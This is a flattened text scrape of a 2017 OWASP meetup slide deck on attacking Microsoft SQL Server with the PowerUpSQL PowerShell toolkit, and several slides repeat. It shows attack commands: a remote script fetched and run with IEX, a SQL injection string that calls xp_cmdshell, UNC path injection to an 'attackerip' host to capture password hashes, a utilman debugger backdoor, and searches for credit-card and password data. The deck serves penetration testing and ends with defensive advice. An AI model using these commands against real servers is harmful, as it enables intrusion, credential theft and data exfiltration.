108
Hacking SQL Server on Scale with PowerShell San Francisco March 2017 Meetup

2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Embed Size (px)

Citation preview

Page 1: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Hacking SQL Server on Scale with PowerShell

San FranciscoMarch 2017 Meetup

Speaker Information

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

Presentation Overview Why SQL Server and PowerShell

PowerUpSQL Overview

Finding amp Accessing SQL Servers

Privilege Escalation Scenarioso Domain user to SQL Server logino SQL Server Login to Sysadmino Sysadmin to Windows Admino Windows Admin to Sysadmino Domain Escalation

Post Exploitation Activities

General Recommendations

Why SQL Server Used in most enterprise environments

Supports local Windows and Domain authentication

Integrates with lots of Windows applications

Generally has trust relationships that other donrsquot

Why PowerShell Native to Windows

Run commands in memory

Run managed net code

Run unmanaged code

Avoid detection by legacy Anti-virus

Already flagged as trusted by most application whitelist solutions

A medium used to write many open source Pentest toolkits

PowerUpSQL

PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)

Scalability via runspace threading Flexibility via pipeline support

ps objects and data tables Portability

o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file

Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential

PowerUpSQL Overview Functions

Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd

httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions

PowerUpSQL Overview Where can I get it

GithubhttpsgithubcomnetspiPowerUpSQL

PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL

PowerUpSQL Overview How do I install it

GithubImport-Module PowerUpSQLpsd1

IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)

Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy

PowerShell GalleryInstall-Module -Name PowerUpSQL

SQL ServerBasics

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 2: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Speaker Information

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

Presentation Overview Why SQL Server and PowerShell

PowerUpSQL Overview

Finding amp Accessing SQL Servers

Privilege Escalation Scenarioso Domain user to SQL Server logino SQL Server Login to Sysadmino Sysadmin to Windows Admino Windows Admin to Sysadmino Domain Escalation

Post Exploitation Activities

General Recommendations

Why SQL Server Used in most enterprise environments

Supports local Windows and Domain authentication

Integrates with lots of Windows applications

Generally has trust relationships that other donrsquot

Why PowerShell Native to Windows

Run commands in memory

Run managed net code

Run unmanaged code

Avoid detection by legacy Anti-virus

Already flagged as trusted by most application whitelist solutions

A medium used to write many open source Pentest toolkits

PowerUpSQL

PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)

Scalability via runspace threading Flexibility via pipeline support

ps objects and data tables Portability

o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file

Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential

PowerUpSQL Overview Functions

Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd

httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions

PowerUpSQL Overview Where can I get it

GithubhttpsgithubcomnetspiPowerUpSQL

PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL

PowerUpSQL Overview How do I install it

GithubImport-Module PowerUpSQLpsd1

IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)

Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy

PowerShell GalleryInstall-Module -Name PowerUpSQL

SQL ServerBasics

